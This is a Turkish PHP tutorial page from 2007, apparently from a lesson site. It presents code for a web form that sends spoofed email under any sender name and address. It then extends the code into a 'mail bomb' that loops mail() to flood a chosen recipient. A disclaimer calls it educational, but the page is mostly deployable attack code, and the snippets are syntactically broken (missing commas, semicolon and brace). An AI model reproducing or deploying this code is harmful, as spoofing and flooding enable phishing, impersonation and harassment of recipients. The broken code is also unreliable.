Anasayfa İletişim RSS
Siraceddin El Derslerini Okumak için Tiklayin Hareketli ve farklı bir buton çalışması
Bu video dersle birlikte Flash'ta farklı bir buton yapma yolunu göreceğiz. Klasik buton stillerinden farklı olarak, butonun üzerine geldiğinizde yavaş yavaş hareket başlıyor, butonun üzerinden mouse'u çektiğiniz zaman birdenbire değil, yavaş yavaş hareket gidiyor.
 
Şimdi Üye Ol | Şifremi Unuttum
 
Anasayfa » PHP & MySQL (122 ders)
 
PHP'de sahte e-mail ve mail bomb mantığı

Yazar: Yunus Emre Pişirici  
Eklenme: 24.10.2007   Okunma: 373    Puan: 3.5   Seviyesi:  Orta
Öncelikle belirtmek isterim ki bu ders eğitim amaçlıdır ve sahte e-mailler (fake mail) ile mail bomb uygulamalarının nasıl yapıldığını mantığıyla gösterme amacı taşımaktadır. Dersimize sahte e-mail uygulaması ile başlayalım.

Sahte E-Mail:

Sahte e-mail, asıl kaynağından gönderilmeyen her tür postaya denir. Örneğin bir e-mail hesabı sizin dahi olsa bu hesap adına hesabın sahip olduğu domain üzerinden mailinizi göndermedikten sonra bu mail sahte maildir. Bu mail formunu nasıl yapabiliriz? Formmail uygulamasına çok benziyor. Zaten ikisi de paralel mantıkta. Değiştirmemiz gereken tek yer gönderici kısmıdır; yani bu alana biz müdahale edebileceğiz. Şimdi neler yapacağız? Öncelikle şunları tanımlayalım:

- Gönderenin mail adresi
- Alıcı mail adresi
- Konu
- Mesaj

mailin daha profesyonelce gözükmesini istiyorsak "İsim" ve "Soyisim" değişkenini de oluşturmamız gerekece. O halde kodlamaya başlayalım:


<?php 



//Yazar: Yunus Emre Pişirici

//Eğitim amaçlı yazı

//hill!!!



$isimsoyisim=$_REQUEST['isimsoyisim']; 

$gonderen=$_REQUEST['gonderen'];

$alici=$_REQUEST['alici'];

$konu=$_REQUEST['konu'];

$mesaj=$_REQUEST['mesaj'];



//Form alanlarımızı oluşturan değişkenlerimizi tanımladık. Şimdi işlem yapalım.



mail("$alici"$konu$mesaj"From: $isimsoyisim <$gonderen>");



//mail fonksiyonumuzu da kullanarak işlemi bitirdik. Şimdi Form alanlarımızı HTML olarak oluşturacağız



 
?>




<html>

<head><title>Hill Sahte E-mail Uygulaması</title>

</head>



<form action="smail.php" method="post">

<table>

<tr><td>İsim Soyisim:</td><td><input type="text" name="isimsoyisim"></td></tr>

<tr><td>Gönderen:</td><td><input type="text" name="gonderen"></td></tr>

<tr><td>Alıcı:</td><td><input type="text" name="alici"></td></tr>

<tr><td>Konu:</td><td><input type="text" name="konu"></td></tr>

<tr><td>Mesaj:</td><td><textarea rows="5" cols="30">Mesajınız</textarea></td></tr>

<tr><td colspan="2" align="right"><input type="submit" name="submit" value="Gönder"></td></tr></table>

</form>

<br><br>

<center>&copy Coded by Yunus Emre Pişirici

<br><br>

Tamamen eğitim amaçlı olup sahte e-maillerin mantığını göstermektedir.</center>



</html>




Sahte e-mail kodlamamız bitti. Bu kodları "smail.php" olarak kaydedip, PHP çalıştırabilen bir hosta upload edin. Gördüğünüz gibi formmail uygulamasından farklı yaptığımız tek iş gönderen kısmı ile ilgili bir form alanı uyguladık ve müdahale ettik.


Sıra geldi Mail Bomb Uygulama mantığına:

Yukarıdaki kodlamaya ek olarak sadece bir döngü ifadesi yerleştireceğiz. Diğer kısımlara dokunmamıza gerek yok. Kodlamaya başlayalım:


<html>

<head><title>Hill Sahte E-mail Uygulaması ve Mail Bomb</title>

</head>



<form action="smail.php" method="post">

<table>

<tr><td>İsim Soyisim:</td><td><input type="text" name="isimsoyisim"></td></tr>

<tr><td>Gönderen:</td><td><input type="text" name="gonderen"></td></tr>

<tr><td>Alıcı:</td><td><input type="text" name="alici"></td></tr>

<tr><td>Konu:</td><td><input type="text" name="konu"></td></tr>

<tr><td>Adet:</td><td><input type="text" name="number" ></td></tr>

<tr><td>Mesaj:</td><td><textarea rows="5" cols="30">Mesajınız</textarea></td></tr>

<tr><td colspan="2" align="right"><input type="submit" name="submit" value="Gönder"></td></tr></table>

</form>

<br><br>

<center>&copy Coded by Yunus Emre Pişirici

<br><br>

Tamamen eğitim amaçlı olup sahte e-maillerin ve mail bomb uygulamalarının mantığını göstermektedir.</center>



</html>




<?php 



//Yazar: Yunus Emre Pişirici

//Eğitim amaçlı yazı

//hill!!!



$isimsoyisim=$_REQUEST['isimsoyisim']; 

$gonderen=$_REQUEST['gonderen'];

$alici=$_REQUEST['alici'];

$konu=$_REQUEST['konu'];

$number=$_REQUEST['number'];

$mesaj=$_REQUEST['mesaj'];



//Form alanlarımızı oluşturan değişkenlerimizi tanımladık. Şimdi işlem yapalım.



//İşlemi yaparken while() döngüsünü kullanacağız. Bu ne demek? While belirttiğimiz bir limite kadar aynı kodu tekrar tekrar çalıştıracak.



$x=0//Buradaki x belli şartla için oluşturduğumuz, mail sayısı ile ilişki bir değişken



while($x <= $number)







mail("$alici"$konu$mesaj"From: $isimsoyisim <$gonderen>"); 



$x++; //Buradaki işlem mail fonksiyonunun kullanımının ardından x değişkeni bir artacak ve number değişkenine eşit olana kadar işleme devam  



 
}



exit;





//PHP kodlamamamız bitti.



 
?>



Buradaki amacımız bu uygulamaların mantığını göstermektir. Kodları bir notepad'e yerleştirip php olarak kaydederek çalıştırabilirsiniz. Ayrıca uygulama geliştirilebilir olup daha karmaşık kodlamalar yaparak kendinize göre ayarlayabilirsiniz.
 
  • Currently 3.57/5
Değelendirmek için üye girişi yapmanız gerekmektedir
EkleBunu Sosyal Paylam Butonu
PHP'de sahte e-mail ve mail bomb mantığı Dersini Yazdırın

"PHP'de sahte e-mail ve mail bomb mantığı" dersi için 2 yorum var

24.10.2007 akif1990 diyor ki:
güzeeellllll !!!

11.01.2008 Joha diyor ki:
Ders icin tersekkurler.
Tabii ki Mail Serviceler boyle bir saldirilara karsi birseyler yapiyorlardir. Bilginiz varsa paylasirmisiniz lutfen?

Üye olmadan yorum ekleyemezsiniz !


UYARI: SANALKURS'ta yer alan materyaller ile ilgili her türlü sorumluluk hazırlayan veya gönderene aittir. SANALKURS'ta yer alan hiçbir makale, yazarından izinsiz başka bir yerde yayınlanamaz. SANALKURS kullanıcıları ve üyeleri, üçüncü kişilerin telif hakkı sahibi bulunduğu her türlü fikri eser, fotoğraf, resim vb. materyal ve ürünleri kullanamazlar. SANALKURS kullanıcı ve yazarlarının, üçüncü kişilerin telif hakkı sahibi olduğu yazı, resim vb. ürünleri kullanması durumunda, her türlü hukuki ve cezai sorumluluk kendilerine aittir. Söz konusu haksız kullanım nedeniyle SANALKURS .NET'in hiçbir hukuki sorumluluğu bulunmamakta olup, haksız kullanım nedeniyle SANALKURS.NET'in üçüncü kişilere ödemek zorunda kalabileceği her türlü tazminat ve/veya adli/idari para cezaları ilgili Sanalkurs kullanıcılarından rücu edilecektir.
 İSTATİSTİKLER
XML Kaynağımızdan yararlanarak sitemizdeki derslerimizi masaüstünüzden yada web sitenizden takip edebilirsiniz
ÇEVRİMİÇİ 205 Ziyaretçi, 20 Üye (1 Gizli)
armutt, kos.187, fikret73, shadow king, tarcansem, maexstra78, byahmetlksz, kotan61, Chimaera, turkalone, sheak, fotti, UlguDizayn, illegal, 1azdeli, desspradoo, sakarcin, kanuni21, Hackkobaz
BUGÜN DOĞUM GÜNÜ OLAN ÜYELERİMİZ:
adige (22), sphered (20), damla damla (18), ziplayanfasulye (102), GüGüS (21), cannurbey (17), lesconcular (17),
Bugün: 4761, Dün: 6925, Bu Ay: 106489, Toplam Ziyaret: 1134355, Toplam Üye: 94313, Son Üye: ılgın deyy
Toplam Ders: 1683, Toplam Yazar: 40, Toplam Dosya: 43, Toplam Link: 109
   
RSS Kaynağımızdan yararlanarak sitemizdeki derslerimizi masaüstünüzden yada web sitenizden takip edebilirsiniz